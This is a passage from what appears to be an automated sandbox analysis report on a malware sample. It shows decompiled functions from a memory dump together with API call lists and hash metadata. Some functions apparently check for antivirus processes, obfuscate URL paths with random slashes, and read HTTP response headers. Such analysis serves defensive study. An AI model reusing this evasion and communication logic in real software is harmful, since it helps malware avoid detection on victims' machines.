						ResetEvent( *(_t59 + 0x1c));
						_push( &_v8);
						_push(0x1000);
						_push(_v16);
						_push( *((intOrPtr*)(_t59 + 0x18)));
						if( *0x2d7d134() != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E02D79039(_v16);
							if(_t58 == 0) {
								_t58 = E02D77A07(_v12, _t59);
							}
							goto L18;
						}
						_t58 = E02D71C47( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E02D71C47( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}

0x02d739bf
0x02d739ce
0x02d739d3
0x02d739d5
0x02d739da
0x02d739db
0x02d739e0
0x02d739e1
0x02d739ec
0x02d73a1d
0x02d73a22
0x02d73ae5
0x02d73ae8
0x02d73aee
0x02d73aee
0x02d73a2f
0x02d73a37
0x02d73ae2
0x00000000
0x02d73ae2
0x02d73a42
0x02d73a49
0x02d73a4c
0x02d73ad4
0x02d73ad5
0x02d73ad5
0x02d73adb
0x00000000
0x02d73adb
0x02d73a52
0x02d73a54
0x02d73a5a
0x02d73a5b
0x02d73a5b
0x02d73a5e
0x02d73a61
0x02d73a67
0x02d73a6c
0x02d73a6d
0x02d73a72
0x02d73a75
0x02d73a80
0x00000000
0x00000000
0x02d73a88
0x02d73a90
0x02d73ab9
0x02d73abc
0x02d73ac3
0x02d73ace
0x02d73ace
0x00000000
0x02d73ac3
0x02d73a9c
0x02d73aa0
0x00000000
0x00000000
0x02d73aa2
0x02d73aa7
0x00000000
0x00000000
0x02d73aa9
0x02d73aa9
0x02d73aae
0x00000000
0x00000000
0x02d73ab0
0x02d73ab1
0x02d73ab4
0x02d73ab4
0x02d73a5b
0x02d739f4
0x02d739fc
0x02d73a15
0x02d73a17
0x00000000
0x00000000
0x00000000
0x02d73a17
0x02d73a08
0x02d73a0c
0x00000000
0x00000000
0x02d73a12
0x00000000

APIs

ResetEvent.KERNEL32(?), ref: 02D739D5
GetLastError.KERNEL32 ref: 02D739EE

Part of subcall function 02D71C47: WaitForMultipleObjects.KERNEL32(00000002,02D7AA72,00000000,02D7AA72,?,?,?,02D7AA72,0000EA60), ref: 02D71C62

ResetEvent.KERNEL32(?), ref: 02D73A67
GetLastError.KERNEL32 ref: 02D73A82

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorEventLastReset$MultipleObjectsWait
String ID:
API String ID: 2394032930-0
Opcode ID: 873ba6887987d0c451053713fa3c61644087a9c05bb5f758d2d023cb43911ce8
Instruction ID: 2a2b2cba20c28739a04e354c97cd30e6f89642e3c33493df8e320aa452611ca8
Opcode Fuzzy Hash: 873ba6887987d0c451053713fa3c61644087a9c05bb5f758d2d023cb43911ce8
Instruction Fuzzy Hash: 8531D532A44604ABCB61DBA4CC46F6EB7B9EF84350F2005A8E55593390F734ED45EB10

Uniqueness

Uniqueness Score: -1.00%

Function 02D742EA, Relevance: 6.1, APIs: 4, Instructions: 95
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E02D742EA(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				void* _t26;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x2d7d270; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x2d7d27c; // 0x23aa5a8
				_t3 = _t8 + 0x2d7e862; // 0x61636f4c
				_t25 = 0;
				_t30 = E02D77A9A(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x2d7d2a8, 1, 0, _t30);
					E02D79039(_t30);
				}
				_t12 =  *0x2d7d25c; // 0x4000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E02D7757F() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E02D7205E(_t32, _t26);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x2d7d0f0( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E02D7A501(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x02d742eb
0x02d742f2
0x02d742fc
0x02d74300
0x02d74306
0x02d74315
0x02d7431c
0x02d74320
0x02d74332
0x02d74334
0x02d74334
0x02d74339
0x02d74340
0x02d74395
0x02d74395
0x02d7439b
0x02d7439d
0x02d7439d
0x02d743a7
0x02d743ab
0x02d743bd
0x02d743bd
0x02d743c1
0x02d743c7
0x02d743c7
0x00000000
0x02d74359
0x02d7435e
0x02d74366
0x02d74368
0x02d7436c
0x02d7436c
0x02d74379
0x02d7437d
0x02d74381
0x02d743d6
0x02d743dc
0x02d743dc
0x02d7438f
0x02d74393
0x02d743ca
0x02d743cc
0x02d743cf
0x02d743cf
0x00000000
0x02d743cc
0x02d74393
0x00000000
0x02d7437d

APIs

Part of subcall function 02D77A9A: lstrlen.KERNEL32(02D723E9,00000000,00000000,00000027,00000005,00000000,00000000,02D796DA,74666F53,00000000,02D723E9,02D7D00C,?,02D723E9), ref: 02D77AD0
Part of subcall function 02D77A9A: lstrcpy.KERNEL32(00000000,00000000), ref: 02D77AF4
Part of subcall function 02D77A9A: lstrcat.KERNEL32(00000000,00000000), ref: 02D77AFC

CreateEventA.KERNEL32(02D7D2A8,00000001,00000000,00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,02D73CA0,?,00000001,?), ref: 02D7432B

Part of subcall function 02D79039: HeapFree.KERNEL32(00000000,00000000,02D77F18,00000000,?,?,00000000), ref: 02D79045

WaitForSingleObject.KERNEL32(00000000,00004E20,02D73CA0,00000000,00000000,?,00000000,?,02D73CA0,?,00000001,?,?,?,?,02D76880), ref: 02D74389
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,00000001,?,00000000,?,02D73CA0,?,00000001,?), ref: 02D743B7
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,02D73CA0,?,00000001,?,?,?,?,02D76880), ref: 02D743CF

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: f3690e57040ebf29ad710f573f3d0c5016b1332180ffda5c91f8197178138bff
Instruction ID: 138ef80045b88c77314a493b818aeb19940ee270f069ceba2e07ea4d127937b3
Opcode Fuzzy Hash: f3690e57040ebf29ad710f573f3d0c5016b1332180ffda5c91f8197178138bff
Instruction Fuzzy Hash: C421B6329812119BD7325A68AC44B6B73BAEF88714F160A16F999DB340FB7DCC15C690

Uniqueness

Uniqueness Score: -1.00%

Function 02D7A0B2, Relevance: 6.1, APIs: 4, Instructions: 92
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E02D7A0B2(void* __ecx, void* __esi) {
				char _v8;
				long _v12;
				char _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				intOrPtr _t58;
				void* _t59;
				intOrPtr* _t60;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				_t60 =  *0x2d7d144; // 0x2d7ad81
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_push( &_v16);
						_push( &_v8);
						_push(_t61 + 0x2c);
						_push(0x20000013);
						_push( *((intOrPtr*)(_t61 + 0x18)));
						_v8 = 4;
						_v16 = 0;
						if( *_t60() == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *((intOrPtr*)(_t61 + 0x2c)) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							 *_t60( *((intOrPtr*)(_t61 + 0x18)), 0x16, 0,  &_v8,  &_v16);
							_t58 = E02D72049(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								_push( &_v16);
								_push( &_v8);
								_push(_t58);
								_push(0x16);
								_push( *((intOrPtr*)(_t61 + 0x18)));
								if( *_t60() == 0) {
									E02D79039(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *((intOrPtr*)(_t61 + 0xc)) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E02D71C47( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x02d7a0b2
0x02d7a0b2
0x02d7a0bc
0x02d7a0c2
0x02d7a0c5
0x02d7a0c9
0x02d7a0d1
0x02d7a0d4
0x02d7a0ed
0x02d7a0f0
0x02d7a0f4
0x02d7a0f8
0x02d7a0f9
0x02d7a0fe
0x02d7a101
0x02d7a108
0x02d7a10f
0x02d7a162
0x02d7a16b
0x02d7a16e
0x02d7a1a9
0x02d7a1af
0x00000000
0x00000000
0x00000000
0x02d7a16e
0x02d7a115
0x00000000
0x02d7a11c
0x02d7a12a
0x02d7a12d
0x02d7a130
0x02d7a13c
0x02d7a140
0x02d7a1a2
0x02d7a142
0x02d7a145
0x02d7a149
0x02d7a14a
0x02d7a14b
0x02d7a14d
0x02d7a154
0x02d7a192
0x02d7a19d
0x02d7a156
0x02d7a159
0x02d7a15d
0x02d7a15d
0x02d7a154
0x00000000
0x02d7a140
0x02d7a115
0x02d7a0d9
0x02d7a0df
0x02d7a0e4
0x02d7a0e7
0x00000000
0x00000000
0x00000000
0x02d7a177
0x02d7a17f
0x02d7a186
0x02d7a186
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,74B481D0), ref: 02D7A0C9
SetEvent.KERNEL32(?), ref: 02D7A0D9
GetLastError.KERNEL32 ref: 02D7A162

Part of subcall function 02D71C47: WaitForMultipleObjects.KERNEL32(00000002,02D7AA72,00000000,02D7AA72,?,?,?,02D7AA72,0000EA60), ref: 02D71C62

Part of subcall function 02D79039: HeapFree.KERNEL32(00000000,00000000,02D77F18,00000000,?,?,00000000), ref: 02D79045

GetLastError.KERNEL32(00000000), ref: 02D7A197

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 602384898-0
Opcode ID: 0f5026a247887b27c718f8b523d55a84585dd26ce2a0ac8ca065f9867726675b
Instruction ID: 8e9ec6551475619aabfd54a2f164c828f61b4a2f090720516ee07cdf15480afb
Opcode Fuzzy Hash: 0f5026a247887b27c718f8b523d55a84585dd26ce2a0ac8ca065f9867726675b
Instruction Fuzzy Hash: 3D31CDB5D00209EFEB21DF95CC8099EBBB9EB08344F10496AE542E2250E7799E49DF60

Uniqueness

Uniqueness Score: -1.00%

Function 02D73BF1, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E02D73BF1(void* __ecx, void* __eflags, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E02D79763(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t16 =  &(_t39[1]); // 0x5
						_t23 = _t16;
						if( *_t16 != 0) {
							E02D7A022(_t23);
						}
					}
					return _t38;
				}
				if(E02D7A72D(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x2d7d2a8, 1, 0,  *0x2d7d344);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E02D78A51(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E02D717D5(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E02D71F99(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E02D742EA( &_v32, _t39);
					goto L13;
				}
			}

0x02d73bf1
0x02d73bfe
0x02d73c04
0x02d73c05
0x02d73c06
0x02d73c07
0x02d73c08
0x02d73c0c
0x02d73c18
0x02d73c1c
0x02d73ca4
0x02d73ca4
0x02d73ca7
0x02d73ca9
0x02d73cb1
0x02d73cb1
0x02d73cb7
0x02d73cba
0x02d73cba
0x02d73cb7
0x02d73cc5
0x02d73cc5
0x02d73c2f
0x02d73c31
0x02d73c31
0x02d73c48
0x02d73c4c
0x02d73c4f
0x02d73c5a
0x02d73c61
0x02d73c61
0x02d73c6d
0x02d73c6e
0x02d73c7c
0x02d73c70
0x02d73c70
0x02d73c71
0x02d73c72
0x02d73c73
0x02d73c74
0x02d73c75
0x02d73c75
0x02d73c81
0x02d73c86
0x02d73c88
0x02d73c8a
0x02d73c8a
0x02d73c91
0x00000000
0x02d73c93
0x02d73c93
0x02d73ca0
0x00000000
0x02d73ca0

APIs

CreateEventA.KERNEL32(02D7D2A8,00000001,00000000,00000040,00000001,?,74B5F710,00000000,74B5F730,?,?,?,02D76880,?,00000001,?), ref: 02D73C42
SetEvent.KERNEL32(00000000,?,?,?,02D76880,?,00000001,?,00000002,?,?,02D72417,?), ref: 02D73C4F
Sleep.KERNEL32(00000BB8,?,?,?,02D76880,?,00000001,?,00000002,?,?,02D72417,?), ref: 02D73C5A
CloseHandle.KERNEL32(00000000,?,?,?,02D76880,?,00000001,?,00000002,?,?,02D72417,?), ref: 02D73C61

Part of subcall function 02D78A51: WaitForSingleObject.KERNEL32(00000000,?,?,?,02D73C81,?,02D73C81,?,?,?,?,?,02D73C81,?), ref: 02D78B2B

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$CloseCreateHandleObjectSingleSleepWait
String ID:
API String ID: 2559942907-0
Opcode ID: 7adc3f6bda71d0898114fe3f4e711cfb7b2f98f46fd9041e3d1716c369673527
Instruction ID: f68309ca6d833189be0d9c32057eb9726a9b31cca7380dc72cb79e9fade44325
Opcode Fuzzy Hash: 7adc3f6bda71d0898114fe3f4e711cfb7b2f98f46fd9041e3d1716c369673527
Instruction Fuzzy Hash: 76217172D00219ABCB50AFE488849EEB37EEF44354B014465EA51A7340F73CDD85DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D7788B, Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E02D7788B(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x2d7d238, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x2d7d250; // 0x7caa13e8
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x2d7d250 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x02d77893
0x02d77896
0x02d7789c
0x02d778b4
0x02d778b8
0x02d778bb
0x02d778bd
0x02d778c0
0x02d778c2
0x02d778c5
0x02d778c7
0x02d778c7
0x02d778c9
0x02d778d4
0x02d778d9
0x02d778ea
0x02d778f2
0x02d778f7
0x02d778fa
0x02d778fd
0x02d778ff
0x02d77905
0x02d77908
0x02d77908
0x02d77908
0x02d77913
0x02d77918
0x02d77922

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,02D7839A,00000000,?,?,02D7A428,?,051295B0), ref: 02D77896
RtlAllocateHeap.NTDLL(00000000,?), ref: 02D778AE
memcpy.NTDLL(00000000,?,-00000008,?,?,?,02D7839A,00000000,?,?,02D7A428,?,051295B0), ref: 02D778F2
memcpy.NTDLL(00000001,?,00000001), ref: 02D77913

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: 7e8fc40594e72d9cd679ab6d5678867b24ca2cb7c54f48eeae65363980dda3ef
Instruction ID: b73840747639b0382842992acd58922675bc2542f1ab19ede4d8b7910661f2e6
Opcode Fuzzy Hash: 7e8fc40594e72d9cd679ab6d5678867b24ca2cb7c54f48eeae65363980dda3ef
Instruction Fuzzy Hash: 0E110672E40114AFD7108A69DC84E9EBBAAEF95260F1405A6F505D7340FB789E19C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 02D77A9A, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E02D77A9A(intOrPtr _a4, intOrPtr _a8) {
				char _v20;
				void* _t8;
				void* _t13;
				void* _t16;
				char* _t18;
				void* _t19;

				_t19 = 0x27;
				_t1 =  &_v20; // 0x74666f53
				_t18 = 0;
				E02D76B43(_t8, _t1);
				_t16 = E02D72049(_t19);
				if(_t16 != 0) {
					_t3 =  &_v20; // 0x74666f53
					_t13 = E02D786D8(_t3, _t16, _a8);
					if(_a4 != 0) {
						__imp__(_a4);
						_t19 = _t13 + 0x27;
					}
					_t18 = E02D72049(_t19);
					if(_t18 != 0) {
						 *_t18 = 0;
						if(_a4 != 0) {
							__imp__(_t18, _a4);
						}
						__imp__(_t18, _t16);
					}
					E02D79039(_t16);
				}
				return _t18;
			}

0x02d77aa5
0x02d77aa6
0x02d77aa9
0x02d77aab
0x02d77ab6
0x02d77aba
0x02d77abf
0x02d77ac3
0x02d77acb
0x02d77ad0
0x02d77ad8
0x02d77ad8
0x02d77ae1
0x02d77ae5
0x02d77aeb
0x02d77aee
0x02d77af4
0x02d77af4
0x02d77afc
0x02d77afc
0x02d77b03
0x02d77b03
0x02d77b0e

APIs

Part of subcall function 02D72049: RtlAllocateHeap.NTDLL(00000000,00000000,02D77E50), ref: 02D72055

Part of subcall function 02D786D8: wsprintfA.USER32 ref: 02D78734

lstrlen.KERNEL32(02D723E9,00000000,00000000,00000027,00000005,00000000,00000000,02D796DA,74666F53,00000000,02D723E9,02D7D00C,?,02D723E9), ref: 02D77AD0
lstrcpy.KERNEL32(00000000,00000000), ref: 02D77AF4
lstrcat.KERNEL32(00000000,00000000), ref: 02D77AFC

Strings

Soft, xrefs: 02D77AA6, 02D77ABF

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrcatlstrcpylstrlenwsprintf
String ID: Soft
API String ID: 393707159-3753413193
Opcode ID: 487c4b61c12683c412e3a10ae83cd8e853beb752de4aed8496b3d0f321368a5c
Instruction ID: 5aff748d5c8f72bcb07be5bc0408df4dbb40ba6ca18e5300c61d0f13a7b7b3d1
Opcode Fuzzy Hash: 487c4b61c12683c412e3a10ae83cd8e853beb752de4aed8496b3d0f321368a5c
Instruction Fuzzy Hash: 3C018F32100219BBDB126AA5DC88EEE7B69EB85345F144826F90555200FB7D8E49CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 02D7757F, Relevance: 6.0, APIs: 4, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E02D7757F() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x2d7d27c; // 0x23aa5a8
						_t2 = _t9 + 0x2d7ee54; // 0x73617661
						_push( &_v264);
						if( *0x2d7d0fc() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x02d7758a
0x02d77594
0x02d77598
0x02d775a2
0x02d775d3
0x02d775a9
0x02d775ae
0x02d775bb
0x02d775c4
0x02d775db
0x02d775c6
0x02d775ce
0x00000000
0x02d775ce
0x02d775dc
0x02d775dd
0x00000000
0x02d775dd
0x00000000
0x02d775d7
0x02d775e3
0x02d775e8

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02D7758F
Process32First.KERNEL32(00000000,?), ref: 02D775A2
Process32Next.KERNEL32(00000000,?), ref: 02D775CE
CloseHandle.KERNEL32(00000000), ref: 02D775DD

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 5d4e7b6bb7751a0105d2a2efe776d17a9890191ee52e5f5a01daf9a0a45d4189
Instruction ID: 0e3503681224b9f3ec9fd3d0c43df96f086377e6150d6f676b4e5e21b400d515
Opcode Fuzzy Hash: 5d4e7b6bb7751a0105d2a2efe776d17a9890191ee52e5f5a01daf9a0a45d4189
Instruction Fuzzy Hash: 7EF096726011255AEB20A7769C49EEBB7ADDFC4710F000461F946D2300FB2CCD59CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 02D77C61, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D77C61(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x02d77c6b
0x02d77c6f
0x02d77c84
0x02d77c88
0x02d77c8b
0x02d77c91
0x02d77c95
0x02d77c98
0x02d77ca3
0x02d77c9a
0x02d77c9a
0x02d77c9a
0x02d77c98
0x02d77cb1

APIs

memset.NTDLL ref: 02D77C6F
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,74B481D0), ref: 02D77C84
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 02D77C91
CloseHandle.KERNEL32(?), ref: 02D77CA3

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: b53a862f15d7a0a31dfaa64fcf72cc25ee70124d3ffa8c8df59492276edd0dd8
Instruction ID: 42542eff3a4980abfd3279a585135bda576b241863cada329a59ae3527afdbab
Opcode Fuzzy Hash: b53a862f15d7a0a31dfaa64fcf72cc25ee70124d3ffa8c8df59492276edd0dd8
Instruction Fuzzy Hash: 02F0F4B5504308BFF3105F26DCC1C37BBACFB451D9B12496EF04581641E636EC198AB0

Uniqueness

Uniqueness Score: -1.00%

Function 02D775E9, Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E02D775E9(void** __esi) {
				char* _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t11;
				void* _t12;
				void** _t14;

				_t14 = __esi;
				_t4 =  *0x2d7d32c; // 0x51295b0
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x2d7d32c; // 0x51295b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t14;
				if(_t8 != 0 && _t8 != 0x2d7d030) {
					HeapFree( *0x2d7d238, 0, _t8);
				}
				_t14[1] = E02D794A9(_v0, _t14);
				_t11 =  *0x2d7d32c; // 0x51295b0
				_t12 = _t11 + 0x40;
				__imp__(_t12);
				return _t12;
			}

0x02d775e9
0x02d775e9
0x02d775f2
0x02d77602
0x02d77602
0x02d77607
0x02d7760c
0x00000000
0x00000000
0x02d775fc
0x02d775fc
0x02d7760e
0x02d77612
0x02d77624
0x02d77624
0x02d77634
0x02d77637
0x02d7763c
0x02d77640
0x02d77646

APIs

RtlEnterCriticalSection.NTDLL(05129570), ref: 02D775F2
Sleep.KERNEL32(0000000A,?,02D723DE), ref: 02D775FC
